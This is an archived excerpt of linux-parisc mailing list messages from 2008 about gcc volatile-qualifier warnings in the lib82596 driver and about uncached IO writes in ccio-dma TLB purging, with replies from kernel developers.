ts.c: In function 'fooB':
ts.c:15: warning: passing argument 1 of 'fooA' discards qualifiers from
pointer target type

Well my understanding of 'volatile' is that this prefix prevent gcc of any
optimization/reorganization. Is it correct? if yes why this warning?

Tia for your attention,
    r.




---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/


From - Thu Nov 08 21:01:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Any idea why gcc "discards qualifiers from pointer target type"?
Date: Tue, 15 Jan 2008 11:30:24 +0100
Lines: 140
Approved: news@gmane.org
Message-ID: <JUOL6O$C7EEA9CB9692A2BC327179D8052AF7D0@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1200393033 17927 80.91.229.12 (15 Jan 2008 10:30:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jan 2008 10:30:33 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 15 11:30:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JEj4G-0006h3-KZ
	for glpp-linux-parisc@gmane.org; Tue, 15 Jan 2008 11:30:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752483AbYAOKa2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jan 2008 05:30:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752127AbYAOKa2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jan 2008 05:30:28 -0500
Original-Received: from oola.is.scarlet.be ([193.74.71.23]:36543 "EHLO
	oola.is.scarlet.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751862AbYAOKa1 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jan 2008 05:30:27 -0500
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id m0FAUOo27519; 
	Tue, 15 Jan 2008 11:30:24 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:72
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/72>

Hello Dave,

Compiling p-l with gcc-4.2 I see new warning "discards qualifiers from pointer
target type":

gcc -Wp,-MD,drivers/net/.lasi_82596.o.d  -nostdinc -isystem
/usr/lib/gcc/hppa-linux-gnu/4.2.3/include -D__KERNEL__ -Iinclude -Iinc
lude2 -I/SRCTREE/include -include include/linux/autoconf.h
-I/CAD/linux-2.6.24-rc4-pa-git-2007120
6-trace/drivers/net -Idrivers/net -Wall -Wundef -Wstrict-prototypes
-Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit
-function-declaration -O2 -pipe -mno-space-regs -mfast-indirect-calls
-mdisable-fpregs -ffunction-sections -march=1.1 -mschedule=720
0 -fomit-frame-pointer -fno-stack-protector -Wdeclaration-after-statement
-Wno-pointer-sign  -D"KBUILD_STR(s)=#s" -D"KBUILD_BASENAME
=KBUILD_STR(lasi_82596)"  -D"KBUILD_MODNAME=KBUILD_STR(lasi_82596)" -c -o
drivers/net/lasi_82596.o /CAD/linux-2.6.24-rc4-pa-git-2007
1206-trace/drivers/net/lasi_82596.c
/SRCTREE/drivers/net/lib82596.c: In function 'wait_cmd':
/SRCTREE/drivers/net/lib82596.c:388: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:391: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'wait_istat':
/SRCTREE/drivers/net/lib82596.c:372: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:375: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'i596_cleanup_cmd':
/SRCTREE/drivers/net/lib82596.c:839: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'init_i596_mem':
/SRCTREE/drivers/net/lib82596.c:580: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:581: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:600: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:629: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type  
/SRCTREE/drivers/net/lib82596.c: In function 'i596_reset':
/SRCTREE/drivers/net/lib82596.c:857: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'i596_add_cmd':
/SRCTREE/drivers/net/lib82596.c:898: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'i596_tx_timeout':
/SRCTREE/drivers/net/lib82596.c:963: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'i596_interrupt':
/SRCTREE/drivers/net/lib82596.c:1266: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:1291: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'i596_close':
/SRCTREE/drivers/net/lib82596.c:1322: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type

After more investigation it seems to linked to the fact that mentioned
arguments are 'volatile' in this structure:

struct i596_dma {
        struct i596_scp scp                     __attribute__((aligned(32)));
        volatile struct i596_iscp iscp          __attribute__((aligned(32)));
        volatile struct i596_scb scb            __attribute__((aligned(32)));
        struct sa_cmd sa_cmd                    __attribute__((aligned(32)));
        struct cf_cmd cf_cmd                    __attribute__((aligned(32)));
        struct tdr_cmd tdr_cmd                  __attribute__((aligned(32)));
        struct mc_cmd mc_cmd                    __attribute__((aligned(32)));
        struct i596_rfd rfds[RX_RING_SIZE]      __attribute__((aligned(32)));  
        struct i596_rbd rbds[RX_RING_SIZE]      __attribute__((aligned(32)));
        struct tx_cmd tx_cmds[TX_RING_SIZE]     __attribute__((aligned(32)));
        struct i596_tbd tbds[TX_RING_SIZE]      __attribute__((aligned(32)));
};

I tried this sample foobar:
      1 struct A {
      2         unsigned long a;
      3         unsigned char *b;
      4 };
      5
      6 struct B {
      7         volatile struct A AinB1;
      8         volatile struct A AinB2;
      9 };
     10
     11 void fooA(struct A *pa);
     12
     13 void fooB(struct B *pB)
     14 {
     15         fooA(&(pB->AinB1));
     16         fooA(&(pB->AinB2));
     17 }

which well return warnings:
# gcc-4.2 -c -o ts.o ts.c 
ts.c: In function 'fooB':
ts.c:15: warning: passing argument 1 of 'fooA' discards qualifiers from
pointer target type
ts.c:16: warning: passing argument 1 of 'fooA' discards qualifiers from
pointer target type

Removing a 'volatile' like:
      1 struct A {
      2         unsigned long a;
      3         unsigned char *b;
      4 };
      5
      6 struct B {
      7         volatile struct A AinB1;
      8         struct A AinB2;
      9 };
     10
     11 void fooA(struct A *pa);
     12
     13 void fooB(struct B *pB)
     14 {
     15         fooA(&(pB->AinB1));
     16         fooA(&(pB->AinB2));
     17 }

and it returns
# gcc-4.2 -c -o ts.o ts.c 
ts.c: In function 'fooB':
ts.c:15: warning: passing argument 1 of 'fooA' discards qualifiers from
pointer target type

Well my understanding of 'volatile' is that this prefix prevent gcc of any
optimization/reorganization. Is it correct? if yes why this warning?

Tia for your attention,
    r.




---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/


From - Thu Nov 08 21:01:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Any idea why gcc "discards qualifiers from pointer target type"?
Date: Tue, 15 Jan 2008 05:31:14 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20080115123114.GX18741@parisc-linux.org>
References: <JUOL5D$C964A06D0284BFBD2341C0E52FF636D0@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1200400280 9390 80.91.229.12 (15 Jan 2008 12:31:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jan 2008 12:31:20 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 15 13:31:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JEkxB-0008Lg-9u
	for glpp-linux-parisc@gmane.org; Tue, 15 Jan 2008 13:31:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751408AbYAOMbQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jan 2008 07:31:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751379AbYAOMbQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jan 2008 07:31:16 -0500
Original-Received: from palinux.external.hp.com ([192.25.206.14]:40246 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751326AbYAOMbP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jan 2008 07:31:15 -0500
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id B613249400C; Tue, 15 Jan 2008 05:31:14 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <JUOL5D$C964A06D0284BFBD2341C0E52FF636D0@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:73
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/73>

On Tue, Jan 15, 2008 at 11:29:37AM +0100, rubisher wrote:
> Hello Dave,
> 
> Compiling p-l with gcc-4.2 I see new warning "discards qualifiers from pointer
> target type":

Joel, this is a standard C question ... this list really isn't for
teaching people how to program.

> /SRCTREE/drivers/net/lib82596.c:388: warning: passing argument 2 of
> 'dma_cache_sync' discards qualifiers from pointer target type

You're passing a volatile pointer to a function which is expecting a
non-volatile pointer.  That's potentially dangerous, so gcc warns about
it.

The normal way to fix this would be to add a volatile attribute to the
argument in question:

dma_cache_sync(struct device *dev, volatile void *vaddr, size_t size,
               enum dma_data_direction direction)

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."

From - Thu Nov 08 21:01:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: ccio-dma.c: struct ioa_registers{} shouldn't be volatile?
Date: Wed, 16 Jan 2008 11:10:49 +0100
Lines: 82
Approved: news@gmane.org
Message-ID: <JUQEY1$B4C92480AFB9CFEC8FC7ADE071B4DB88@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1200478283 4076 80.91.229.12 (16 Jan 2008 10:11:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Jan 2008 10:11:23 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>,
	"dave" <dave@hiauly1.hia.nrc.ca>
To: "matthew" <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 16 11:11:44 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JF5FH-0001I3-0X
	for glpp-linux-parisc@gmane.org; Wed, 16 Jan 2008 11:11:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751763AbYAPKLP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Jan 2008 05:11:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751974AbYAPKLO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Jan 2008 05:11:14 -0500
Original-Received: from oola.is.scarlet.be ([193.74.71.23]:55442 "EHLO
	oola.is.scarlet.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751763AbYAPKLN convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Jan 2008 05:11:13 -0500
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id m0GAAno04050; 
	Wed, 16 Jan 2008 11:10:51 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:74
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/74>


> On Tue, Jan 15, 2008 at 11:29:37AM +0100, rubisher wrote:
> > Hello Dave,
> > 
> > Compiling p-l with gcc-4.2 I see new warning "discards qualifiers from pointer
> > target type":
> 
> Joel, this is a standard C question ... this list really isn't for
> teaching people how to program.
> 
mmm, it's not because you don't know how to translate your programming idea in
C that you don't know how to program, though ;-)

> > /SRCTREE/drivers/net/lib82596.c:388: warning: passing argument 2 of
> > 'dma_cache_sync' discards qualifiers from pointer target type
> 
> You're passing a volatile pointer to a function which is expecting a
> non-volatile pointer.  That's potentially dangerous, so gcc warns about
> it.
> 
> The normal way to fix this would be to add a volatile attribute to the
> argument in question:
> 
> dma_cache_sync(struct device *dev, volatile void *vaddr, size_t size,
>                enum dma_data_direction direction)
> 
So may be this ccio-dma.c structure:
struct ioa_registers {
        /* Runway Supervisory Set */
        int32_t unused1[12];
        u32     io_command;     /* Offset 12 */
        u32     io_status;      /* Offset 13 */
        u32     io_control;     /* Offset 14 */
        int32_t unused2[1];

        /* Runway Auxiliary Register Set */
        u32     io_err_resp;    /* Offset  0 */
        u32     io_err_info;    /* Offset  1 */
        u32     io_err_req;     /* Offset  2 */
        u32     io_err_resp_hi; /* Offset  3 */
        u32     io_tlb_entry_m; /* Offset  4 */
        u32     io_tlb_entry_l; /* Offset  5 */
        u32 unused3[1];
        u32     io_pdir_base;   /* Offset  7 */
        u32     io_io_low_hv;   /* Offset  8 */
        u32     io_io_high_hv;  /* Offset  9 */
        u32 unused4[1];
        u32     io_chain_id_mask;/* Offset 11 */
        u32 unused5[2];
        u32     io_io_low;      /* Offset 14 */
        u32     io_io_high;     /* Offset 15 */
};

a member of:

struct ioc {
        struct ioa_registers __iomem *ioc_regs;      /* I/O MMU base address */
        u8              *res_map;               /* resource map, bit == pdir
entry */
[snip]
};

"struct ioa_registers" I guess according to its name represent the layout of
internal ioa registers and should be 'qualified' as volatile to prevent gcc to
reorganize it?

e.g.
typedef volatile struct ioa_registers v_ioa_regs_t;

and
struct ioc {
        v_ioa_regs_t __iomem *ioc_regs;      /* I/O MMU base address */
[snip]
};


Tx,
    r.
---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/


From - Thu Nov 08 21:01:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: ccio_clear_io_tlb() and __raw_write() more question?
Date: Wed, 16 Jan 2008 13:53:25 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <JUQMH1$0E837D5F7A1526B30DCF5BF1A8BE2816@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1200488019 8157 80.91.229.12 (16 Jan 2008 12:53:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Jan 2008 12:53:39 +0000 (UTC)
Cc: "Grant Grundler" <grundler@parisc-linux.org>
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 16 13:54:01 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JF7mH-0001pE-C2
	for glpp-linux-parisc@gmane.org; Wed, 16 Jan 2008 13:53:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752345AbYAPMxc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Jan 2008 07:53:32 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752407AbYAPMxc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Jan 2008 07:53:32 -0500
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:36045 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752345AbYAPMxb convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Jan 2008 07:53:31 -0500
Original-Received: from scarlet.be (fuji.is.scarlet.be [193.74.71.41])
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m0GCrP4E000778;
	Wed, 16 Jan 2008 13:53:26 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: hel; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:75
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/75>

Hello all,

I would try to explain my worry about this function.

It is:
static CCIO_INLINE void
ccio_clear_io_tlb(struct ioc *ioc, dma_addr_t iovp, size_t byte_cnt)
{
        u32 chain_size = 1 << ioc->chainid_shift;

        iovp &= IOVP_MASK;      /* clear offset bits, just want pagenum */
        byte_cnt += chain_size;

        while(byte_cnt > chain_size) {
                __asm__ __volatile__ ("# ccio_clear_io_tlb-in");
                WRITE_U32(CMD_TLB_PURGE | iovp, &ioc->ioc_regs->io_command);
                __asm__ __volatile__ ("# ccio_clear_io_tlb-out");
                iovp += chain_size;
                byte_cnt -= chain_size;
        }
}

Without doc I guess that this call to WRITE_U32() is supposed to do what it
name says: i.e purge a TLB entry?

In details:
#define WRITE_U32(value, addr)  __raw_writel((value), (addr))

and finaly:
static inline void __raw_writel(unsigned int b, volatile void __iomem *addr)
{
        __asm__ __volatile__ ("# __raw_writel-in");
        *(volatile unsigned int __force *) addr = b;
        __asm__ __volatile__ ("# __raw_writel-out");
}

I just added __asm__ to see excatly how __raw_write() is assembled:

        # __raw_writel-in
#NO_APP
        stw %r19,48(%r28)
#APP
        # __raw_writel-out

Otoh, ioc->ioc_regs is set in:
static int __init ccio_probe(struct parisc_device *dev)
{
[snip]      
        ioc->ioc_regs = ioremap_nocache(dev->hpa.start, 4096);
[snip]
};

and according to __ioremap comment:
/*
 * Remap an arbitrary physical address space into the kernel virtual
 * address space.
 *
[snip]
 */

ioc_regs contains well a virtual address (what seems to me coherent with paper
on iommu design previously mentioned)?

puting all those stuff togther: for CPU, WRITE_U32 (aka __raw_writel), just
write something at some virtual address, right?

So my worry is that this data write could be cached and btw the actual
CMD_TLB_PURGE operation could be delay untill this entry would be purged?

What's your opinion?
What would be the best way to actualy do this write (back) to the io ctrlr?

Tx again,
  r.
---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/


From - Thu Nov 08 21:01:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ccio_clear_io_tlb() and __raw_write() more question?
Date: Wed, 16 Jan 2008 06:03:16 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20080116130316.GL18741@parisc-linux.org>
References: <JUQMH1$0E837D5F7A1526B30DCF5BF1A8BE2816@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1200488623 10323 80.91.229.12 (16 Jan 2008 13:03:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Jan 2008 13:03:43 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Grant Grundler <grundler@parisc-linux.org>
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 16 14:04:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JF7vj-0004un-5B
	for glpp-linux-parisc@gmane.org; Wed, 16 Jan 2008 14:03:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751301AbYAPNDS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Jan 2008 08:03:18 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751626AbYAPNDS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Jan 2008 08:03:18 -0500
Original-Received: from palinux.external.hp.com ([192.25.206.14]:34653 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751301AbYAPNDR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Jan 2008 08:03:17 -0500
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 8EAC649400C; Wed, 16 Jan 2008 06:03:16 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <JUQMH1$0E837D5F7A1526B30DCF5BF1A8BE2816@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:76
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/76>

On Wed, Jan 16, 2008 at 01:53:25PM +0100, rubisher wrote:
> So my worry is that this data write could be cached and btw the actual
> CMD_TLB_PURGE operation could be delay untill this entry would be purged?

f-space is uncached.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."

From - Thu Nov 08 21:01:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ccio_clear_io_tlb() and __raw_write() more question?
Date: Sat, 19 Jan 2008 10:07:05 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20080119170705.GC11553@colo.lackof.org>
References: <JUQMH1$0E837D5F7A1526B30DCF5BF1A8BE2816@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1200762454 28973 80.91.229.12 (19 Jan 2008 17:07:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Jan 2008 17:07:34 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Grant Grundler <grundler@parisc-linux.org>
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 19 18:07:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JGHAb-0006TG-HD
	for glpp-linux-parisc@gmane.org; Sat, 19 Jan 2008 18:07:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753473AbYASRHX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Jan 2008 12:07:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753664AbYASRHW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 19 Jan 2008 12:07:22 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:32986 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753473AbYASRHW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Jan 2008 12:07:22 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 769F93F8B6E;
	Sat, 19 Jan 2008 10:07:21 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12827-04; Sat, 19 Jan 2008 10:07:06 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0EAE83F8B6B; Sat, 19 Jan 2008 10:07:05 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <JUQMH1$0E837D5F7A1526B30DCF5BF1A8BE2816@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:77
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/77>

On Wed, Jan 16, 2008 at 01:53:25PM +0100, rubisher wrote:
> Without doc I guess that this call to WRITE_U32() is supposed to do what it
> name says: i.e purge a TLB entry?
...
> puting all those stuff togther: for CPU, WRITE_U32 (aka __raw_writel), just
> write something at some virtual address, right?
> 
> So my worry is that this data write could be cached and btw the actual
> CMD_TLB_PURGE operation could be delay untill this entry would be purged?

Willy is correct - writes to this IO space (0xf0000000) address is uncached.

While the write is "posted", it's a fairly short path to the IOMMU (1 hop).
Since this is the "unmap path" I don't expect any race conditions since
we would have to call map using the same mapping right away in order to
pickup the stale IOTLB entry. We avoid this race by allocating IO Pdir
entries in a "circular" fashion (start at bottom and work through
the entire resource bit map).

hth,
grant

From - Thu Nov 08 21:01:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: some gij-4.3/2.6.24-rc8 crashes
Date: Sat, 19 Jan 2008 18:16:24 +0100
Lines: 75
Approved: news@gmane.org
Message-ID: <200801191816.25091.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1200762998 30786 80.91.229.12 (19 Jan 2008 17:16:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Jan 2008 17:16:38 +0000 (UTC)
